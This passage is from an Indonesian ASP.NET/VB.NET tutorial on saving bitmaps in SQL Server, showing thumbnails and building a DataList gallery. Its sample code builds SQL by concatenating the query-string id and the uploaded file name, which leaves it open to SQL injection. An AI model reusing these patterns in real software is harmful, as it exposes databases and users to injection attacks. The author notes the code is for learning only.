ke sistem jaringan atau internet, hal ini berguna bagi para pemakai yang mobile. Data offline tadi
kemudian dapat disinkronisasikan dengan data di server pada saat kita terkoneksi lagi ke jaringan
atau internet.
Langkah 1: Mempersiapkan Database
Skrip berikut akan membuat database baru bernama dbBitmap dan satu tabel tblBitmap dengan
5 field. Copy Paste dan eksekusi skrip berikut pada SQL Query Analyzer:
USE MASTER
GO
CREATE DATABASE dbBitmap
GO
USE dbBitmap
GO
CREATE TABLE [tblBitmap] (
[BitmapId] [int] IDENTITY (1, 1) NOT NULL ,
[FileName] [nvarchar] (255) NOT NULL ,
[Bitmap] [image] NOT NULL ,
[FileSize] [int] NOT NULL ,
[SubmitDate] [datetime] NOT NULL ,
CONSTRAINT [PK_tblBitmap] PRIMARY KEY
(
[BitmapId]
)
)
GO
Langkah 2: Setup Sekuriti SQL Server
Agar suatu database dapat diakses melalui aplikasi ASP.NET secara anonymous (misalnya oleh user
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
3
Internet), user ASPNET harus memiliki hak akses ke database tadi. User ASPNET adalah user
Windows yang otomatis dibuatkan pada saat instalasi .NET Framework
Skrip berikut akan mendaftarkan user ASPNET ke SQL Server, kemudian memberi akses di tabel
tblBitmap.
USE MASTER
GO
sp_grantlogin ‘nama_domain\ASPNET’
GO
USE dbBitmap
GO
sp_grantdbaccess ‘nama_domain\ASPNET’ , ‘webuser’
GO
GRANT SELECT, INSERT, UPDATE, DELETE
ON tblBitmap TO webuser
GO
Perhatikan, nama_domain di atas harus diganti dengan nama domain atau nama komputer Anda.
Langkah 3: Menyimpan Bitmap ke Database
Buka Visual Studio.NET, buat project baru . Buka menu File | New | Project… Dari kotak dialog
New Project, bagian Project Types, pilih Visual Basic Project, kemudian pilih ASP.NET Web
Application dari kotak Templates.
Setelah project tercipta, tambahkan web form baru, kemudian beri nama insert.aspx (Buka menu
Project | Add Web Form… ).
Halaman insert.aspx ini digunakan untuk menginput file ke database, oleh sebab itu perlu HTML
input berupa file. Tambahkan kontrol File Field dan Submit Button dari Toolbox bagian HTML
(Kalau Toolbox belum tampil, pilih menu View | Toolbox atau Ctrl + Alt + X)
Gambar 1
Kedua kontrol tadi harus kita jadikan server control, karena eksekusi harus berjalan di sisi server :
Pilih kedua kontrol (diblok), klik kanan lalu pilih Run As Server Control.
File Input tadi digunakan untuk meng-upload file, oleh karenanya perlu ditambahkan atribut
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
4
enctype=”multipart/form-data” pada tag
: Masuklah ke tampilan HTML Source (dari menu
View | HTML Source atau Ctrl + PgDn), edit-lah pada tag sbb:

Kembalilah ke halaman desain (menu View | Design atau Ctrl + PgDn), klik-ganda tombol Submit,
Anda akan masuk tampilan code insert.aspx.vb, sekaligus dibuatkan event handler
Submit1_ServerClick.
Kita akan menggunakan namespace System.Data.SqlClient untuk koneksi ke SQL Server dan
namespace System.IO untuk menangani file upload, oleh karenanya untuk memudahkan coding
kita tambahkan Imports System.Data.SqlClient dan Imports System.IO pada baris
paling atas (sebelum deklarasi Public Class insert ) pada file insert.aspx.vb tadi.
Untuk membaca file yang di-upload kita dapat menggunakan class BinaryReader, class ini yang
akan membaca file dan hasilnya ditampung dalam suatu array bertipe data Byte, array inilah yang
akan dimasukkan dalam parameter query.
Dalam event handler Submit1_ServerClick sisipkan kode sehingga hasilnya sebagai berikut:
Private Sub Submit1_ServerClick(ByVal sender As System.Object, ByVal e As _
System.EventArgs) Handles Submit1.ServerClick
Dim sFName As String = File1.PostedFile.FileName.Substring( _
File1.PostedFile.FileName.LastIndexOf(“\”) + 1)
Dim iLen As Integer = File1.PostedFile.ContentLength
Dim sCnStr As String = _
“Data Source=(local);Initial Catalog=dbBitmap;” _
& “Integrated Security=True;”
Dim sQuery As String = _
” INSERT tblBitmap ” _
& ” (FileName, Bitmap, FileSize, SubmitDate) ” & _
” VALUES ” _
& ” (‘” & sFName & “‘ ,@Bitmap,” & iLen & “,GETDATE())”
Dim br As New BinaryReader(File1.PostedFile.InputStream)
Dim arBytFile() As Byte = br.ReadBytes(iLen)
Dim oCn As New SqlConnection(sCnStr)
Dim oCm As New SqlCommand(sQuery, oCn)
oCm.Parameters.Add(“@Bitmap”, SqlDbType.Image).Value = arBytFile
oCn.Open()
oCm.ExecuteNonQuery()
oCn.Close()
End Sub
Untuk menjalankan, tampilkan Solution Explorer (menu View | Solution Explorer atau Ctrl + R),
klik kanan pada file insert.aspx lalu pilih Build and Browse, setelah masuk ke tampilan Browse
cobalah untuk meng-upload beberapa file bitmap. Sampai di sini kita baru dapat menyimpan file ke
database.
Penjelasan kode
Baris deklarasi variabel string sFName kita pakai untuk mengambil file name dari file yang
di-upload, di sini kita menggunakan operasi string untuk mengambil file name saja, bukan full
path-nya:
Dim sFName As String = File1.PostedFile.FileName.Substring( _
File1.PostedFile.FileName.LastIndexOf(“\”) + 1)
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
5
Dim iLen As Integer = File1.PostedFile.ContentLength
Variabel integer iLen di atas untuk menyimpan ukuran dari file bitmap (file size).
Untuk menangani file yang di-upload kita perlu klas BinaryReader dari namespace System.IO
yang akan menerjemahkannya menjadi array byte dengan memanggil method ReadBytes:
Dim br As New BinaryReader(File1.PostedFile.InputStream)
Dim arBytFile() As Byte = br.ReadBytes(iLen)
Selanjutnya array byte tadi dimasukkan ke database dengan menggunakan SQL parameter:
oCm.Parameters.Add(“@Bitmap”, SqlDbType.Image).Value = arBytFile
Langkah 4: Menampilkan Bitmap dari Database
Untuk menampilkan bitmap dari database kita perlu satu halaman web form lagi. Tambahkan satu
web form baru dengan nama show.aspx (Buka menu Project | Add Web Form… ).
Klik-ganda pada halaman kosong show.aspx tersebut untuk masuk ke tampilan code show.aspx.vb.
Tambahkan Imports System.Data.SqlClient pada baris paling atas (sebelum deklarasi
Public Class show) pada file show.aspx.vb tadi.
Untuk menampilkan bitmap dari database, kita perlu array bertipe data Byte yang menyimpan hasil
query yang ditampung oleh SqlDataReader. Kode kerangkanya adalah sebagai berikut:
(copy & paste baris berikut ini di halaman web form Anda setelah region Web Form Designer
Generated Code dan sebelum End Class)
Private Sub Page_Load(ByVal sender As System.Object, ByVal e As _
System.EventArgs) Handles MyBase.Load
‘Put user code to initialize the page here
Dim sQuery As String = _
“SELECT Bitmap,FileName FROM tblBitmap WHERE BitmapId = ” _
& Request.QueryString(“id”)
Dim sCnStr As String = _
“Data Source=(local);Initial Catalog=dbBitmap;” _
& “Integrated Security=True;”
Dim oCn As New SqlConnection(sCnStr)
Dim oCm As New SqlCommand(sQuery, oCn)
oCn.Open()
Dim oDr As SqlDataReader = oCm.ExecuteReader()
oDr.Read()
Dim byteArray() As Byte = CType(oDr(“Bitmap”), Byte())
Dim sFileName As String = oDr(“FileName”)
oDr.Close()
oCn.Close()
Response.ContentType = “image/jpeg”
Response.AppendHeader(“content-disposition”, “inline; filename=” _
& sFileName)
Response.BinaryWrite(byteArray)
End Sub
Untuk melihat hasilnya, dari Solution Explorer (menu View | Solution Explorer atau Ctrl + R),
klik kanan pada file show.aspx lalu pilih Build and Browse. Mulanya akan muncul error, oleh sebab
itu, pada kotak URL browser coba tambahkan kata ?id=1 pada alamat web, sehingga menjadi seperti
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
6
http://localhost/webBitmapDb/show.aspx?id=1
Penjelasan kode
Baris program di dalam event handler Page_Load akan dijalankan pada saat halaman ditampilkan.
Pertama kita deklarasikan dulu variabel sQuery untuk menampung SQL query dan memuat value
dari Request.QueryString(“id”).
Apabila Request.QueryString(“id”)kosong maka SQL query menjadi tidak valid, oleh
sebab itu variabel ini harus ada isinya dengan cara memanggil halaman seperti ini
http://localhost/webBitmapDb/show.aspx?id=1 di mana id=1 adalah record tabel
dengan nilai field BitmapId = 1
Dim sQuery As String = _
“SELECT Bitmap,FileName FROM tblBitmap WHERE BitmapId = ” _
& Request.QueryString(“id”)
Query di atas menghasilkan 1 record dalam 2 field, field pertama adalah Bitmap (binary), field ke
dua adalah FileName (nvarchar). Untuk menampung kolom Bitmap tadi kita perlu array bertipe
data Byte. Objek oDr(“Bitmap”) memiliki value bertipa data object sehingga perlu secara
eksplisit dikonversi menjadi byte array:
Dim byteArray() As Byte = CType(oDr(“Bitmap”), Byte())
Baris berikut digunakan untuk menginstruksikan browser agar stream dianggap sebagai image, dan
memiliki filename sesuai dengan nama file aslinya:
Response.ContentType = “image/jpeg”
Response.AppendHeader(“content-disposition”, “inline; filename=” _
& sFileName)
Bila baris di atas tidak ada, gambar kemungkinan tetap tampil (pernulis hanya mencoba browser
MSIE 6), namun pada saat di-Save Picture As… nama file-nya adalah show.aspx bukan nama file
bitmap-nya.
Akhirnya, hasilnya dikirimkan ke output stream pada dengan cara menuliskan array byte secara
binary ke klas HttpResponse:
Response.BinaryWrite(byteArray)
Langkah 5: Menampilkan Bitmap secara Thumbnail
Pengertian thumbnail adalah bitmap dengan ukuran yang lebih kecil secara proporsional dari ukuran
aslinya. Umumnya thumbnail digunakan untuk membuat galeri gambar (image gallery). .NET
Framework menyediakan namespace System.Drawing untuk melakukan operasi Bitmap, yang
meliputi translasi, operasi pixel, konversi warna, efek visual, dan lain-lain. Untuk itu pembuatan
galeri gambar tidak perlu lagi dilakukan secara manual melainkan dapat dengan mudah diprogram,
hal ini lebih efisien kalau kita punya banyak gambar.
Thumbnail dihasilkan dengan memanggil method GetThumbnailImage dari objek
System.Drawing.Image :
Image.GetThumbnailImage(lebar, panjang, fungsiCallback, dataCallback)
Parameter lebar dan panjang menentukan ukuran bitmap thumbnail, parameter
fungsiCallback diisi pointer menuju fungsi lain apabila terjadi pembatalan permbuatan
thumbnail, parameter dataCallback harus diisi dengan nilai IntPtr.Zero.
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
7
Untuk menerjemahkan array byte tadi menjadi objek System.Drawing.Image atau
System.Drawing.Bitmap kita perlu bantuan objek System.IO.MemoryStream.
Prosedur CreateThumbnail berikut ini contoh untuk menghasilkan thumbnail proporsional:
Sub CreateThumbnail(ByVal arrayBytes As Byte())
Dim oMs As New MemoryStream(arrayBytes)
Dim oImg As Drawing.Image = Bitmap.FromStream(oMs)
Dim iW As Integer = oImg.Width
Dim iH As Integer = oImg.Height
Dim iScale As Integer = oImg.Height / 120
oImg = oImg.GetThumbnailImage(iW / iScale, iH / iScale, _
New Drawing.Image.GetThumbnailImageAbort( _
AddressOf cbThumbnailAbort), IntPtr.Zero)
oImg.Save(Response.OutputStream, _
Drawing.Imaging.ImageFormat.Jpeg)
End Sub
Function cbThumbnailAbort() As Boolean
Return False ‘tidak melakukan apa-apa
End Function
Fungsi cbThumbnailAbort dijalankan apabila penciptaan thumbnail dibatalkan, dalam hal ini
kita tidak melakukan apa-apa (hanya Return False). Pembahasan mengenai pointer fungsi
(dalam .NET Framework disebut juga sebagai delegate) akan penulis usahakan pada artikel yang
lain.
Bukalah file show.aspx tadi, masuk ke tampilan kode (pilih menu View | Code atau F7), kemudian
carilah baris deklarasi query, dan gantilah menjadi:
Dim sQuery As String
If IsNothing(Request.QueryString(“id”)) Then
sQuery = _
” SELECT TOP 1 Bitmap,FileName FROM tblBitmap ” _
& ” ORDER BY SubmitDate DESC”
Else
sQuery = _
” SELECT Bitmap,FileName FROM tblBitmap WHERE BitmapId = ” _
& Request.QueryString(“id”)
End If
Baris di atas digunakan untuk mencegah error apabila show.aspx ditampilkan tanpa menggunakan
QueryString, mis.: http://localhost/webBitmapDb/show.aspx , sebagai gantinya
yang ditampilkan adalah gambar yang terbaru (yang di-upload terakhir).
Selanjutnya kita akan membuat halaman tadi bisa menampilkan bitmap secara thumbnail atau
ukuran aslinya dengan memanfaatkan Request.QueryString:
If Request.QueryString(“t”) = 1 Then
CreateThumbnail(byteArray) ‘versi thumbnail
Else
Response.BinaryWrite(byteArray) ‘versi asli
End If
Sehingga kalau kita mau menampilkan gambar versi thumbnail-nya kita dapat memanggil halaman
show.aspx dengan cara http://localhost/webBitmapDb/show.aspx?id=2&t=1
Kode selengkapnya – show.aspx.vb
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
8
(copy & paste baris berikut ini di halaman web form Anda setelah region Web Form Designer
Generated Code dan sebelum End Class)
Private Sub Page_Load(ByVal sender As System.Object _
, ByVal e As System.EventArgs) Handles MyBase.Load
‘Put user code to initialize the page here
Dim sQuery As String
If IsNothing(Request.QueryString(“id”)) Then
sQuery = _
” SELECT TOP 1 Bitmap,FileName FROM tblBitmap ” _
& ” ORDER BY SubmitDate DESC”
Else
sQuery = _
” SELECT Bitmap,FileName FROM tblBitmap WHERE BitmapId = ” _
& Request.QueryString(“id”)
End If
Dim sCnStr As String = _
“Data Source=(local);Initial Catalog=dbBitmap;” _
& “Integrated Security=True;”
Dim oCn As New SqlConnection(sCnStr)
Dim oCm As New SqlCommand(sQuery, oCn)
oCn.Open()
Dim oDr As SqlDataReader = oCm.ExecuteReader()
If oDr.Read() Then ‘record ada?
Dim byteArray() As Byte = CType(oDr(“Bitmap”), Byte())
Dim sFileName As String = oDr(“FileName”)
oDr.Close()
oCn.Close()
Response.ContentType = “image/jpeg”
Response.AppendHeader(“content-disposition”, _
“inline; filename=” & sFileName)
If Request.QueryString(“t”) = 1 Then
CreateThumbnail(byteArray) ‘versi thumbnail
Else
Response.BinaryWrite(byteArray) ‘versi asli
End If
End If
End Sub
Sub CreateThumbnail(ByVal arrayBytes As Byte())
Dim oMs As New MemoryStream(arrayBytes)
Dim oImg As Drawing.Image = Bitmap.FromStream(oMs)
Dim iW As Integer = oImg.Width
Dim iH As Integer = oImg.Height
Dim iScale As Integer = oImg.Height / 120
oImg = oImg.GetThumbnailImage(iW / iScale, iH / iScale, _
New Drawing.Image.GetThumbnailImageAbort( _
AddressOf cbThumbnailAbort), IntPtr.Zero)
oImg.Save(Response.OutputStream, Drawing.Imaging.ImageFormat.Jpeg)
End Sub
Function cbThumbnailAbort() As Boolean
Return False ‘tidak melakukan apa-apa
End Function
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
9
Untuk melihat hasilnya, dari Solution Explorer (menu View | Solution Explorer atau Ctrl + R),
klik kanan pada file show.aspx lalu pilih Build and Browse. Kini tidak muncul error lagi, melainkan
yang tampil adalah gambar yang terbaru. Ketikkan pada URL browser ke alamat
http://localhost/webBitmapDb/show.aspx?id=1&t=1 untuk menampilkan versi
thumbnail-nya.
Lalu ketikkan http://localhost/webBitmapDb/show.aspx?id=1 untuk menampilkan
ukuran aslinya.
Langkah 6: Membuat Image Gallery
Sekarang kita akan membuat galeri gambar (image gallery) dengan memanfaatkan kontrol
DataList dari namespace System.Web.UI.WebControls. Tambahkan satu web form baru,
beri nama nama gallery.aspx (Buka menu Project | Add Web Form… ). Image Gallery ini cukup
dengan beberapa langkah visual dengan minimal kode program:
1. Buka Server Explorer (menu View | Server Explorer atau Ctrl + Alt + S), expand SQL
Server, cari database dbBitmap sampai kita mendapatkan tabel tblBitmap, kemudian drag-drop
(tarik) tabel tblBitmap tadi ke halaman gallery.aspx}
2. Setelah itu akan terbentuk objek SqlConnection1 dan SqlDataAdapter1, klik kanan
dan Generate Dataset…
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
10
3. Pada kotak dialog Generate Dataset, pilihlah New, beri nama dsBitmap untuk nama Dataset
kita, kemudian klik OK (llihat gambar berikut)
Di Solution Explorer akan tercipta file dsBitmap.xsd, dan di halaman gallery.aspx akan tercipta
objek dsBitmap1
4. Dari Toolbox klik ganda ListItem dari bagian Web Form, kemudian akan tercipta objek
DataList1 di halaman gallery.aspx
5. Di halaman gallery.aspx, klik kanan objek ListItem1 , pilih Property Builder… , kemudian
isi Data Source dengan dsBitmap1, DataMember = tblBitmap, Data key field
(optional) = BitmapId
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
11
Pada bagian Repeat layout, isikan 3 pada kotak teks Columns untuk membuat image gallery
Anda terdiri atas 3 kolom. Anda bisa bereksperimen sendiri untuk Direction dan Layout, juga
pada tab Format atau Borders. Kemudian tekan tombol OK
6. Untuk menghias Datalist dengan cepat, di halaman gallery.aspx klik kanan objek DataList1,
pilih Auto Format…
7. Di halaman gallery.aspx klik kanan objek DataList1, pilih Edit Template | Template
Items…
8. Dari Toolbox, tarik (drag & drop) kontrol Hyperlink ke DataList1 di bagian ItemTemplate
(lihat gambar berikut)
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
12
9. Pindahlah ke Properties window, kemudian pilih properti (DataBindings):
10. Dari property (DataBindings) tadi, tekan tombol . Akan tampil kotak dialog berikut:
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
13
11. Dalam kotak dialog Hyperlink1 DataBindings di sebelah kiri adalah kotak Bindable
Properties yang berisi daftar property yang bisa di-bind ke data source, dan di sebelah kanan
adalah data source-nya.
Di kotak Bindable Properties tadi, pilihlah property NavigateUrl, kemudian pada bagian
Simple Binding pilihlah (expand) Container/DataItem/BitmapId (lihat gambar)
Dari kotak dropdown Format ketiklah dengan show.aspx?id={0}. Notasi {0} maksudnya
adalah sebagai placeholder, yang nantinya pada saat run-time akan diisi data dari data source.
Untuk melihat contohnya pindahlah ke kotak Sample di sebelah kanan kotak dropdown
Format di situ akan muncul show.aspx?id=1. Sampai di sini jangan menekan tombol OK dulu,
biarkan kotak dialog Hyperlink1 DataBindings terbuka.
12. Ulangi langkah 11, untuk property ImageUrl, dan ToolTip sbb:
ImageUrl
Simple Binding: Container/DataItem/BitmapId
Format: show.aspx?id={0}&t=1
ToolTip
Simple Binding: Container/DataItem/FileName
Format: Click to show {0}
Setelah selesai kotak dialog menjadi seperti ini:
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
14
Perhatikan lambang pada daftar Bindable Properties yang berarti property tersebut adalah
data-bound (isinya tergantung dari data).
Tekan tombol OK untuk menutup kotak dialog Hyperlink1 DataBindings.
13. Klik ruang kosong di DataList1 pada bagian ItemTemplate tepat di sebelah kanan
Hyperlink1, kemudian tekan Enter untuk membuat baris baru. Dari Toolbox tambahlan lagi
kontrol Hyperlink tepat di bawah Hyperlink1. Lihat Gambar:
14. Ulangi Langkah 9 sampai 12 untuk mengatur property DataBindings untuk Hyperlink2.
Kali ini hanya perlu dua property yang diubah yaitu NavigateUrl dan Text sbb:
NavigateUrl
Simple Binding: Container/DataItem/BitmapId
Format: show.aspx?id={0}
Text
Simple Binding: Container/DataItem/FileName
Format: {0}
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
15
15. Pada halaman gallery.aspx klik kanan DataList1, kemudian pilih End Template Editing.
Tampilan DataList1 akan berubah menjadi seperti ini
Di halaman gallery.aspx klik ganda pada ruang kosong di luar objek DataList1, ini akan
membawa kita ke tampilan code behind gallery.aspx.vb. Carilah event handler Page_Load
kemudian ketikkan kode berikut
Private Sub Page_Load(ByVal sender As System.Object _
, ByVal e As System.EventArgs) Handles MyBase.Load
‘Put user code to initialize the page here
Me.SqlDataAdapter1.Fill(Me.DsBitmap1)
Me.DataList1.DataBind()
End Sub
16. Untuk melihat hasilnya, dari Solution Explorer (menu View | Solution Explorer atau Ctrl +
R), klik kanan pada file gallery.aspx lalu pilih Build and Browse
17. Halaman hasil:
Selamat! Anda sudah bisa membuat image gallery sederhana untuk menampilkan gambar-gambar
favorit Anda dan menyimpannya dalam database.
Artikel Populer IlmuKomputer.Com
Copyright © 2003 – 2006 IlmuKomputer.Com
16
Perhatian!
Tutorial ini dimaksudkan hanya untuk sarana edukasi dan tidak dianjurkan untuk
penggunaan dalam skenario produksi (production scenarios) karena di sini kita tidak
menerapkan masalah keamanan IIS atau Web Form, object dan output caching,
penggunaan stored procedures, penanganan eksepsi (exception handling), aspek
viewstate, pemanfaatan asynchrounous programming, dan lain-lain.
Biografi Penulis
Eri Airlangga lahir di Surabaya ,15 Agustus 1974. Praktisi TI selama 7 tahun
di bidang IT Infrastruktur, database, programming, web dan data warehouse.
Saat ini bekerja sebagai konsultan TI.
Kontak:
Email: erlange@yahoo.com